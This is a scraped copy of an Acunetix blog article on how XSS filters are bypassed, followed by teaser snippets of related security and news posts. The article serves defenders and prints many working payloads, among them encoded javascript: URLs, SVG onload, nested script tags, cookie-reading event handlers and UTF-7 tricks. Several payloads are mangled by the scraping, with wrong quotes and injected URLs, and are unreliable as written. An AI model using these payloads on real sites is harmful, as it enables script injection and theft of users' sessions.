[ad_1]
XSS filter evasion techniques allow attackers to bypass cross-site scripting (XSS) protections designed to block malicious scripts. This article explores some of the most common filter bypass strategies, explains why relying solely on filtering is ineffective, and outlines the best practices for preventing XSS attacks.
Attackers have developed hundreds of methods to evade XSS filters, making it clear that filtering alone is not a foolproof defense. For an XSS attack to succeed, two conditions must be met:
- The application must have an XSS vulnerability that allows user-controlled input to be injected into web pages.
- The attacker must find a way to execute malicious JavaScript within the victim’s browser.
XSS filtering aims to stop these attacks by detecting and removing suspicious code before it reaches the browser. However, because attackers continuously develop new techniques to disguise or encode their payloads, filtering alone cannot fully prevent XSS vulnerabilities. Before exploring just a handful of the many ways filters can be bypassed, let’s first take a look at how XSS filtering works and why it remains an incomplete solution.
LEARN MORE: Cross Site Scripting Vulnerability Fix
Why XSS Filtering Is Challenging and Often Ineffective
XSS filtering is a security mechanism designed to detect and block cross-site scripting (XSS) attempts by inspecting user input for potentially harmful scripts. Filtering can be implemented at different levels:
- Client-side filtering happens in the browser before data is processed.
- Server-side filtering occurs during request processing on the web server.
- Web Application Firewalls (WAFs) analyze and block suspicious requests before they reach the application.
For many years, server-side filtering was the primary defense against XSS. Eventually, browser vendors introduced XSS auditors, which attempted to detect malicious scripts before rendering them. These auditors scanned incoming data for known XSS patterns, such as <script> tags in unexpected locations, using techniques like regular expressions and blacklists. When suspicious code was found, the browser could either block the entire page or remove only the detected script fragment—both of which had drawbacks and sometimes introduced new security risks. As a result, built-in browser XSS filters were eventually discontinued.
The Limitations of XSS Filtering
No single filtering approach can comprehensively prevent XSS attacks due to the diverse ways in which malicious scripts can be injected and executed:
- Browser-based filtering is only effective against reflected XSS vulnerabilities, where injected scripts are immediately reflected back in a browser response. However, it does not protect against stored XSS (where malicious scripts are saved in the database and executed later) or DOM-based XSS (where the exploit happens entirely within the browser without server involvement).
- Server-side and WAF filtering can help mitigate reflected and stored XSS, but they cannot stop DOM-based XSS, since those attacks occur directly in the browser without ever reaching the server.
- Application-level filtering is highly complex, requires ongoing updates to keep up with new attack techniques, and can sometimes introduce unintended security issues.
How Attackers Bypass Cross-Site Scripting (XSS) Filters
XSS filters are designed to block malicious scripts, but attackers have developed numerous evasion techniques to bypass them. While XSS attacks typically exploit application vulnerabilities and misconfigurations, filter evasion techniquestarget weaknesses in the filtering mechanisms of browsers, servers, or web application firewalls (WAFs).
At best, XSS filtering adds an extra layer of difficulty for attackers by forcing them to find ways to slip their payloads past security measures. However, filtering alone is not a foolproof defense, as attackers continuously find new ways to exploit gaps in web security mechanisms.
How XSS Filters Are Bypassed
Attackers take advantage of inconsistencies in how browsers interpret web code. Modern browsers spend a significant amount of processing power correcting and rendering malformed HTML, CSS, and JavaScript to ensure web pages display properly—even when there are coding errors. XSS filter evasion techniques abuse this complexity by exploiting variations in how different browsers handle non-standard code, exceptions, and edge cases.
Common Techniques Used to Evade XSS Filters
There are countless ways to bypass XSS filters, often involving obscured or unconventional script injection methods. While <script> tag injections are usually blocked, attackers frequently use alternative HTML elements and event handlers to execute malicious scripts.
Common evasion techniques include:
- Using HTML event handlers: Instead of injecting <script> tags, attackers use attributes like onerror, onclick, or onfocus to execute JavaScript when a user interacts with the page.
- Encoding techniques: Obfuscating payloads using different encoding methods (e.g., URL encoding, Base64 encoding) to slip past basic filters.
- JavaScript quirks and syntax variations: Taking advantage of browser-specific parsing rules that allow JavaScript execution in unexpected ways.
- Abusing malformed HTML: Injecting scripts into elements that browsers automatically attempt to “fix,” inadvertently executing the malicious code.
The Scale of XSS Filter Bypass Techniques
The number of ways to bypass XSS filters is staggering. Even the longest-known lists of filter bypass methods—such as the OWASP XSS Filter Evasion Cheat Sheet (which builds on RSnake’s original work)—only scratch the surface. While many bypass methods work only in specific scenarios, anyone working with JavaScript and web security should be aware that these exploits exist and that relying solely on filtering is not a reliable defense.
Character Encoding Tricks for XSS Evasion
Attackers often use character encoding techniques to bypass XSS filters that rely on detecting specific keywords or patterns. By encoding characters in different formats, they can obscure malicious payloads from basic filtering mechanisms. Additionally, nested encodings—where a string is encoded multiple times using different methods—can further evade detection.
The effectiveness of encoding tricks depends on how the browser processes and decodes characters in different contexts. For instance, URL encoding works within <a href> attributes but may not function the same way in other elements. Similarly, different encodings can be interpreted differently across browsers, making detection and prevention more difficult.
Example: Encoding to Evade JavaScript Detection
A basic XSS filter might block the javascript: keyword to prevent execution of inline scripts. However, an attacker can encode some or all of the characters using HTML entity encoding to obscure the payload:
<a href=”javascript:alert(‘Successful XSS’)”>Click this link!</a>
In this example, j represents the ASCII character for “j”, meaning the browser will correctly interpret and execute the javascript: command once the page loads.
Why Encoding Tricks Are Dangerous
Character encoding tricks are especially effective because:
- Filters may not decode input before scanning, allowing encoded payloads to slip through.
- Browsers automatically decode and execute encoded values, making them a reliable attack vector.
- Multiple encodings can be stacked, further complicating detection.
These techniques demonstrate why string-matching filters alone cannot effectively prevent XSS. A comprehensive security approach, including Content Security Policies (CSPs), input sanitization, and secure coding practices, is necessary to mitigate these threats.
Attackers use various encoding methods to obscure malicious payloads and bypass XSS filters that scan for specific patterns. Encoding techniques exploit how browsers interpret character representations, allowing scripts to execute despite being altered from their original form. Below are some of the most commonly used encoding techniques for evading XSS filters.
Hexadecimal Encoding for ASCII Characters
Some filters detect HTML entity codes by looking for patterns like &# followed by a number. To bypass this, attackers can use hexadecimal encoding for ASCII characters instead of decimal values:
<a href=”javascript:alert(document.cookie)”>Click this link!</a>
Here, j represents the ASCII character “j”, allowing the browser to reconstruct the javascript: scheme.
Base64 Encoding for Obfuscation
Attackers can also use Base64 encoding to disguise payloads. When executed, JavaScript functions such as atob()decode the Base64 string, reconstructing the original malicious script:
<body onload="eval(atob("YWxlcnQoJ1N1Y2Nlc3NmdWwgWFNTJyk='))">
This decodes to:
alert('Successful XSS');
Zero-Padded Entity Variations
HTML entity encoding allows 1 to 7 numeric characters, and leading zeros are ignored. This means each character can have multiple valid representations, making it harder for filters to catch all variations. For example, the < character alone has at least 70 valid encodings, as listed in the OWASP XSS Filter Evasion Cheat Sheet. Additionally, semicolons are not required at the end of entity codes, further complicating detection:
<a href="javascript:alert('Successful XSS')">Click this link!</a>
Here, j represents "j", : represents "X", and a represents "a", ultimately forming a valid javascript:alert() payload.
Character Codes for Concealed Script Execution
Instead of writing a script directly, attackers can use JavaScript’s String.fromCharCode() function to generate it dynamically, making detection harder:
<iframe src=# onmouseover=alert(String.fromCharCode(88,83,83))></iframe>
In this example, String.fromCharCode(88,83,83) translates to “XSS”, triggering an alert when the mouse hovers over the iframe.
Why These Encoding Tricks Work
- Many filters only scan for specific patterns, such as javascript: or <script>, and fail to decode obfuscated payloads.
- Browsers automatically interpret encoded characters, reconstructing the malicious script before execution.
- Multiple encoding methods can be combined, making detection even more difficult.
These examples highlight the limitations of XSS filtering and reinforce why stronger security measures, such as Content Security Policy (CSP), proper input validation, and output encoding, are essential for preventing XSS attacks.
Using Whitespace to Evade XSS Filters
Browsers are highly tolerant of whitespace variations in HTML and JavaScript, allowing attackers to use non-printing characters to bypass basic XSS filters. While most modern browsers have hardened against these techniques, whitespace embedding can still work in certain contexts where filtering mechanisms fail to anticipate these variations.
Breaking Up Keywords with Tabs
Browsers ignore tab characters when parsing JavaScript, meaning an attacker can insert tabs within keywords to evade simple string-matching filters. For example, an <img> tag with an XSS payload can be obfuscated as follows (though this method is ineffective in most modern browsers):
<img src="https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/java script:al ert("Successful XSS')">
Alternatively, tabs can be encoded using hexadecimal representations to further obscure the payload:
<img src="java	script:al	ert('Successful XSS')">
Using Newlines and Carriage Returns
Similar to tabs, newline (\n, 
) and carriage return (\r, 
) characters are ignored when parsing JavaScript and HTML. Attackers can use these characters to split keywords, making detection more difficult:
<a href="jav
ascript:
ale
rt('Successful XSS')">Visit google.com</a>
In this case, the browser correctly interprets the encoded characters, reconstructing the javascript: payload before execution.
Using Whitespace and Special Characters to Evade Filters
Some XSS filters specifically look for “javascript:” or ‘javascript:’, assuming that there will be no unexpected whitespace or special characters. However, browsers allow any combination of spaces and non-printable characters (ASCII values 1-32 in decimal) before recognized keywords, making it possible to bypass such filters:
<a href="   javascript:alert('Successful XSS')">Click this link!</a>
In this example:
-  (ASCII backspace) and  (ASCII device control character) are inserted before javascript: to disrupt simple keyword detection.
- The browser still recognizes and executes the payload correctly.
Why These Techniques Work
- Many filtering systems check for exact matches of known attack patterns but fail to account for whitespace and encoding variations.
- Browsers automatically normalize and execute code, even when non-printable characters are inserted.
- Attackers can combine multiple evasion techniques, making it difficult to create a universal filter that blocks all variations.
These examples highlight the limitations of filter-based defenses and reinforce why secure input validation, output encoding, and Content Security Policies (CSPs) are necessary to properly mitigate XSS vulnerabilities.
Manipulating Tags to Evade XSS Filters
Attackers can exploit how browsers process and repair malformed HTML to bypass XSS filters that simply scan for and remove certain tags. By nesting, omitting spaces, or breaking syntax in unconventional ways, they can craft payloads that slip through basic filtering mechanisms while remaining executable in the browser.
Nesting Tags to Evade Simple Tag Removal
If an XSS filter detects and removes <script> tags in a single pass, attackers can nest them within other tags to ensure that valid executable code remains after filtering:
<scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>
In this example, if a filter removes <script>, the remaining code reconstructs a valid <script> tag, allowing the JavaScript to execute.
Omitting Whitespace and Using Slashes as Separators
Browsers do not always require spaces between attributes, and some filters fail to account for alternative character placements. A forward slash (/) can act as a separator between the tag name and attributes, avoiding detection:
<img/src=”funny.jpg”onload=javascript:eval(alert(‘Successful XSS’))>
This entirely whitespace-free payload still executes correctly in a browser, as it recognizes the onload attribute despite the unconventional formatting.
Using SVG Tags for XSS Execution
Because modern browsers support SVG (Scalable Vector Graphics), attackers can use SVG elements as an alternative to <script> tags. This allows script execution even in environments that block traditional script tags:
<svg/onload=alert('XSS')>
Even if certain characters are restricted, like parentheses or single quotes, attackers can replace them with backticks (`), which are still valid in JavaScript:
<svg/onload=alert`XSS`>
Exploiting Browser Auto-Correction of Malformed Tags
Web browsers are designed to fix broken HTML to ensure web pages display properly. Attackers can take advantage of this behavior to craft malformed elements that become valid after processing.
For example, omitting the href attribute and quotes in an <a> tag still allows an event handler to execute JavaScript:
<a onmouseover=alert(document.cookie)>Go to google.com</a>
Extreme Example: Breaking and Reconstructing an <img> Tag
By deliberately corrupting an <img> tag’s syntax, attackers can rely on the browser’s automatic correction mechanismsto repair the tag and execute a malicious script:
<img """><script src=xssattempt.js></script>">
Once interpreted by the browser, the misplaced attributes are ignored, and the <script> tag executes as intended.
Why These Techniques Work
- Filters that remove or block tags in a single pass may fail to prevent nested or reconstructed elements.
- Browsers attempt to correct malformed HTML, allowing attackers to craft broken but ultimately functionalpayloads.
- Alternative tag structures, such as SVG or event handler attributes, provide script execution pathways even in environments that block <script> tags.
- Filters that expect standard formatting can be bypassed by removing spaces, using alternative separators, or encoding characters differently.
These examples highlight the importance of context-aware input validation, secure output encoding, and the use of Content Security Policies (CSPs) to prevent XSS vulnerabilities, rather than relying on simple tag-based filtering alone.
Exploiting Internet Explorer’s Unique XSS Vulnerabilities
Before the dominance of Chrome and Firefox—and long before Microsoft Edge—Internet Explorer (IE) was the primary web browser. Due to its non-standard implementations and deep integration with other Microsoft technologies, IE introduced unique security quirks that attackers could exploit. While modern browsers have largely moved past these vulnerabilities, some legacy enterprise applications still rely on IE-specific features, making them relevant for certain attack scenarios.
VBScript Execution in Older Internet Explorer Versions
Most XSS filters are designed to block JavaScript-based payloads, but versions of Internet Explorer up to IE10 also supported VBScript, creating an alternative attack vector:
<a href="https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/vbscript:MsgBox("Successful XSS")">Click here</a>
Because VBScript execution was allowed in hyperlinks, attackers could trigger malicious actions through simple anchor tags.
CSS-Based Script Execution with Dynamic Properties
Internet Explorer introduced dynamic properties, which allowed CSS attributes to execute JavaScript expressions. This behavior provided an unusual XSS entry point via CSS:
body { color: expression(alert('Successful XSS')); }
Instead of acting as a pure styling rule, expression() could evaluate and execute arbitrary JavaScript when the affected CSS property was accessed.
Using the dynsrc Attribute for Script Execution
IE also supported the now-removed dynsrc attribute for images, which could be abused to execute JavaScript:
<img dynsrc="https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/javascript:alert("Successful XSS')">
Unlike standard <img> tags, which require properly formatted image sources, IE would process dynsrc as a valid JavaScript URL, triggering execution.
Bypassing Quote Restrictions with Backticks
If an application restricted both single (‘) and double (“) quotes, attackers could use backticks (`) instead, which Internet Explorer interpreted correctly in certain cases:
<img src=`javascript:alert("The name is 'XSS'")`>
Disguising a Script as an External Stylesheet
Older versions of Internet Explorer allowed scripts to be executed by embedding them in external CSS files. Attackers could exploit this by injecting malicious code into a .css file and referencing it in a <link> tag:
<link rel="stylesheet" href="http://example.com/xss.css">
If the external file contained JavaScript instead of CSS, some versions of IE would still execute the script, providing another method for delivering XSS payloads.
Why These Techniques Matter
While most of these IE-specific vulnerabilities have been eliminated in modern browsers, some legacy enterprise systems still rely on older versions of IE. Attackers targeting these environments can use these non-standard execution methods to bypass traditional XSS filters.
To properly mitigate these risks, security measures should include:
- Strict Content Security Policies (CSPs) to prevent execution of unauthorized scripts.
- Input validation and output encoding to block injection attempts at the application level.
- Eliminating reliance on outdated browsers and enforcing secure, modern alternatives.
Despite being historical quirks, these Internet Explorer exploits highlight how browser-specific behaviors can create unexpected security vulnerabilities.
A Look Back: Legacy XSS Exploits
As web technologies evolve, XSS filter bypass techniques quickly become outdated. However, looking at past exploits provides insight into the unintended edge cases that emerge when new specifications are introduced while maintaining backward compatibility. Below are some historical XSS techniques that may no longer work in modern browsers but highlight the creative methods attackers have used in the past.
Injecting JavaScript into Background Attributes
In older browsers, HTML attributes meant for styling could be used to execute JavaScript. For example, the background attribute on a <body> tag could trigger an XSS payload:
<body background="https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/javascript:alert("Successful XSS')">
A similar approach worked when using inline CSS properties, injecting JavaScript into a background-image property:
<div style="background-image:url(javascript:alert('Successful XSS'))">
Images as Script Execution Vectors
Some browsers allowed non-image content to be executed when loaded into an <img> or <input> field. Attackers could exploit this by using a JavaScript URL in an image source:
<input type="image" src="https://www.acunetix.com/blog/articles/xss-filter-evasion-bypass-techniques/javascript:alert("Successful XSS')">
Using <meta> Refresh for Script Injection
In some outdated browsers, the <meta> tag’s refresh attribute could be abused to redirect the page to a Base64-encoded JavaScript payload, leading to execution:
<meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
Here, the Base64-encoded string decodes into:
<script>alert('XSS')</script>
This technique worked because some browsers automatically decoded and executed Base64-encoded content as part of a page load.
UTF-7 Encoding: A Forgotten XSS Attack
At one point, it was possible to hide XSS payloads using UTF-7 encoding, a character encoding format that some browsers supported:
<head><meta http-equiv="content-type" content="text/html; charset=utf-7"></head>
+adw-script+ad4-alert('xss');+adw-/script+ad4-
In this example:
- The <meta> tag declares that the page uses UTF-7 encoding instead of the more common UTF-8.
- The XSS payload is encoded using UTF-7 notation, where +adw- represents < and +ad4- represents >.
- Some browsers automatically interpreted and executed this encoded JavaScript, allowing for successful exploitation.
Why These Methods Matter
While these specific techniques no longer work in modern browsers, they illustrate how small quirks in web technology can lead to major security issues. Attackers continually look for unexpected behaviors in browsers and web standards, which is why XSS prevention must go beyond filtering and include:
- Proper input validation and output encoding to neutralize potential attack vectors.
- Content Security Policies (CSPs) to restrict script execution sources.
- Regular security updates to prevent exploitation of older browser features.
Even though these methods are historical artifacts, they serve as a reminder that security must evolve alongside web technologies to prevent future XSS vulnerabilities.
How to Protect Your Applications from XSS – Beyond Filtering
While web application firewalls (WAFs) can provide some level of XSS filtering, they should only be considered one layer of a broader security strategy. With hundreds of known filter bypass techniques and new attack methods constantly emerging, filtering alone is not a reliable defense. Additionally, aggressive filtering can interfere with legitimate scripts, which is one of the reasons browser vendors are moving away from built-in XSS filtering.
Building Secure Applications to Prevent XSS
The most effective way to protect against cross-site scripting (XSS) is to write secure, well-structured code that prevents vulnerabilities at the source. Instead of relying on filters, developers should:
- Treat all user input as untrusted by default, ensuring strict validation and sanitization.
- Apply context-aware escaping and encoding, making sure that user-controlled data cannot be interpreted as executable code.
- Enforce security at the HTTP level by implementing Content Security Policy (CSP) headers and other essential HTTP security headers to restrict script execution.
Continuous Testing for XSS Prevention
Even with secure coding practices in place, applications must be regularly tested to ensure that new features, updates, or configuration changes do not introduce XSS vulnerabilities. A robust web vulnerability scanning process should be integrated into development workflows, allowing for continuous security monitoring and automated detection of misconfigurations and vulnerabilities.
By prioritizing secure development practices, proper security headers, and ongoing vulnerability assessments, developers can effectively mitigate XSS threats without relying on filtering alone.
Get the latest content on web security
in your inbox each week.
THE AUTHOR
Acunetix
Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.
[ad_2]
Source link
About the author
JSON Web Token Attacks And Vulnerabilities
[ad_1] JSON Web Tokens (JWTs) are a widely used method for securely exchanging data in JSON format. Due to their ability to be digitally signed and verified, they are commonly used for authorization and authentication. However, their security depends entirely on proper implementation—when misconfigured, JWTs can introduce serious vulnerabilities. This guide explores common JWT attacks and security flaws, providing a technical deep dive into how these weaknesses can be exploited and how to mitigate them. The Structure of a JSON Web Token (JWT) A JSON Web Token (JWT) is composed of three parts: a header, payload, and signature, all encoded using Base64URLand separated by dots. The format follows this structure: HEADER.PAYLOAD.SIGNATURE Here is an example of a real JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJuYW1lIjoiSm9obiBEb2UiLCJ1c2VyX25hbWUiOiJqb2huLmRvZSIsImlzX2FkbWluIjpmYWxzZX0. fSppjHFaqlNcpK1Q8VudRD84YIuhqFfA67XkLam0_aY Breaking Down the JWT Header The header contains metadata that defines the token’s properties, including: The algorithm (alg) […]
Mitigating Fragmented SQL Injection Attacks: Effective Solutions
[ad_1] This blog post breaks down Fragmented SQL Injection, a method hackers use to bypass authentication by manipulating two different input fields at the same time. Our security expert explains why single quotes matter in SQL injection attacks and how using Prepared Statements (also called Parameterized Queries) can effectively prevent these types of exploits. LEARN MORE: How to prevent SQL Injection If you ask someone how to check for an SQL injection vulnerability in a web application, their first suggestion might be to enter a single quote (‘) into an input field. If the application responds with an error, it could indicate that the input is interfering with the database query—a classic sign of SQL injection. In fact, some people even refer to SQL injection as “Single Quote Injection” because of how often this method is used to test for […]
Preventing CSRF Attacks with Anti-CSRF Tokens: Best Practices and Implementation
[ad_1] The most widely used method to prevent cross-site request forgery (CSRF) attacks is the implementation of anti-CSRF tokens. These are unique values generated by a web application and validated with each request to ensure authenticity. CSRF attacks exploit a user’s active session to execute unauthorized actions, such as redirecting them to a malicious website or accessing sensitive session data. To effectively mitigate these risks, it is essential to generate, manage, and validate CSRF tokens correctly, ensuring robust protection against unauthorized requests. What Is an Anti-CSRF Token? An anti-CSRF token (also known as a CSRF token) is a security mechanism designed to verify the legitimacy of a user’s request. It works by assigning a unique, unpredictable token to the user’s browser, which must be included in subsequent requests. This ensures that the request originates from the authenticated user and not […]
XSS Filter Evasion: How Attackers Bypass XSS Filters – And Why Filtering Alone Isn’t Enough
[ad_1] XSS filter evasion techniques allow attackers to bypass cross-site scripting (XSS) protections designed to block malicious scripts. This article explores some of the most common filter bypass strategies, explains why relying solely on filtering is ineffective, and outlines the best practices for preventing XSS attacks. Attackers have developed hundreds of methods to evade XSS filters, making it clear that filtering alone is not a foolproof defense. For an XSS attack to succeed, two conditions must be met: The application must have an XSS vulnerability that allows user-controlled input to be injected into web pages. The attacker must find a way to execute malicious JavaScript within the victim’s browser. XSS filtering aims to stop these attacks by detecting and removing suspicious code before it reaches the browser. However, because attackers continuously develop new techniques to disguise or encode their payloads, […]
Disabling Directory Listing on Your Web Server – And Why It Matters
[ad_1] By default, some web servers allow directory listing, which means that if no default index file (such as index.html or index.php) is present, the server will display a list of all files and directories in that folder. This can expose sensitive files, scripts, and configurations, making it easier for attackers to identify vulnerabilities. Understanding Directory Listing Directory listing is a web server feature that, when enabled, displays the contents of a directory if no default index file (such as index.html or index.php) is present. When a request is made to such a directory, the server automatically generates and returns a list of all files and subdirectories within it. This can pose a security risk by exposing sensitive files related to a web application, potentially revealing critical information. If attackers gain access to directory listings, they can analyze file structures, […]
Strengthen Your Web Applications with HTTP Security Headers | Acunetix
[ad_1] What is a HTTP security header? An HTTP security header is a response header that helps protect web applications by providing browsers with specific instructions on how to handle website content securely. These headers play a crucial role in mitigating various cyber threats, such as cross-site scripting (XSS), clickjacking, and data injection attacks. By configuring HTTP security headers correctly, organizations can enforce stricter security policies, restrict unauthorized resource loading, and reduce the risk of malicious exploitation. Common HTTP security headers include Content Security Policy (CSP) to prevent injection attacks, Strict-Transport-Security (HSTS) to enforce secure HTTPS connections, and X-Frame-Options to prevent clickjacking. Implementing these headers is a fundamental and effective way to enhance web application security, providing an additional layer of defense against cyber threats. Enhancing Your Web Application’s Security with HTTP Security Headers In web application security testing, vulnerabilities […]
Related
Defend the Airport
[ad_1] Every day, millions of passengers depend on a vast, complex airport ecosystem to get from Point A to Point B. From airline check-ins and baggage handling to air traffic control and terminal operations, the aviation sector is an intricate web of interconnected third-party providers, technologies, and stakeholders. In this high-stakes environment, a cybersecurity breach is not a single point of failure, it’s a ripple effect waiting to happen. Cyber Threats Aren’t Just IT Problems – They’re Operational Crises When people think about airport cybersecurity, they often picture network firewalls at airline headquarters or secure software for booking systems. But the real threat landscape is far broader and far more vulnerable. If a catering supplier is hit with ransomware, the aircraft turnaround slows. If the baggage conveyor system is compromised, luggage piles up, delaying departures. If the security contractor experiences […]
Securing LLMs Against Prompt Injection Attacks
[ad_1] Introduction Large Language Models (LLMs) have rapidly become integral to applications, but they come with some very interesting security pitfalls. Chief among these is prompt injection, where cleverly crafted inputs make an LLM bypass its instructions or leak secrets. Prompt injection in fact is so wildly popular that, OWASP now ranks prompt injection as the #1 AI security risk for modern LLM applications as shown in their OWASP GenAI top 10. We’ve provided a higher-level overview about Prompt Injection in our other blog, so in this one we’ll focus on the concept with the technical audience in mind. Here we’ll explore how LLMs can be vulnerable at the architectural level and the sophisticated ways attackers exploit them. We’ll also examine effective defenses, from system prompt design to “sandwich” prompting techniques. We’ll also discuss a few tools that can help […]
LLM Prompt Injection – What’s the Business Risk, and What to Do About It
[ad_1] The rise of generative AI offers incredible opportunities for businesses. Large Language Models can automate customer service, generate insightful analytics, and accelerate content creation. But alongside these benefits comes a new category of security risk that business leaders must understand: Prompt Injection Attacks. In simple terms, a prompt injection is when someone feeds an AI model malicious or deceptive input that causes it to behave in an unintended, and often harmful way. This isn’t just a technical glitch, it’s a serious threat that can lead to brand embarrassment, data leaks, or compliance violations if not addressed. As organizations rush to adopt AI capabilities, ensuring the security of those AI systems is now a board-level concern. In this post we’ll provide a high-level overview of prompt injection risks, why they matter to your business, and how Security Innovation’s GenAI Penetration […]
Setting Up a Pentesting Environment for the Meta Quest 2
[ad_1] With the advent of commercially available virtual reality headsets, such as the Meta Quest, the integration of virtual and augmented reality into our daily lives feels closer than ever before. As these devices become more common, so too will the need to secure and protect the data collected and stored by them. The intention of this blog post is to establish a baseline security testing environment for Meta Quest 2 applications and is split into three sections: Enabling Developer Mode, Establishing an Intercepting Proxy, and Injecting Frida Gadget. The Quest 2 runs on a modified version of the Android Open Source Project (AOSP) in addition to proprietary software developed by Meta, allowing the adoption of many established Android testing methods. Enabling Developer Mode The first step of setting up a security testing environment on the Quest is to […]
Kiren Rijiju: Why Earth Sciences minister Rijiju is upset with this European IT company |
[ad_1] Earth Sciences Minister Kiren Rijiju is reportedly upset with the French IT company Atos. Reason is said to be delay in the delivery of two supercomputers by the French company to Indian weather forecasting institutes. According to a report in news agency PTI, the Earth Sciences Ministry had ordered two supercomputers worth $100 million from French firm Eviden, of the Atos Group, last year to enhance the computing capabilities of its institutions -- the National Centre for Medium Range Weather Forecasting (NCMRWF) and the Indian Institute of Tropical Meteorology (IITM)."I am more upset because the target we set was December. The Union Cabinet had already approved purchasing the supercomputer. We have only four petaflop capacity. We want to install up to 18 petaflop capacity," Rijiju told PTI in a video interview.He said that the French company ran into some […]
Former Activision boss reportedly wants to buy TikTok
[ad_1] Bobby Kotick, the former head of Activision Blizzard, is reportedly considering buying TikTok, as the app could be banned in the United States. The Wall Street Journal reports that Kotick has talked to ByteDance, the company that owns TikTok, about buying the app, which could cost hundreds of billions of dollars.This comes as US lawmakers introduce a new bill that would make ByteDance sell TikTok within six months or stop it from being available in US app stores.President Joe Biden has said he would approve the bill if it passes in Congress.The Wall Street Journal report adds that Kotick, the head of OpenAI, Sam Altman, discussed teaming up to buy TikTok at a dinner last week. Kotick's interest in TikTok follows a rough end to his 30 years leading Activision Blizzard, which Microsoft acquired last year. The company faced […]
Be the first to leave a comment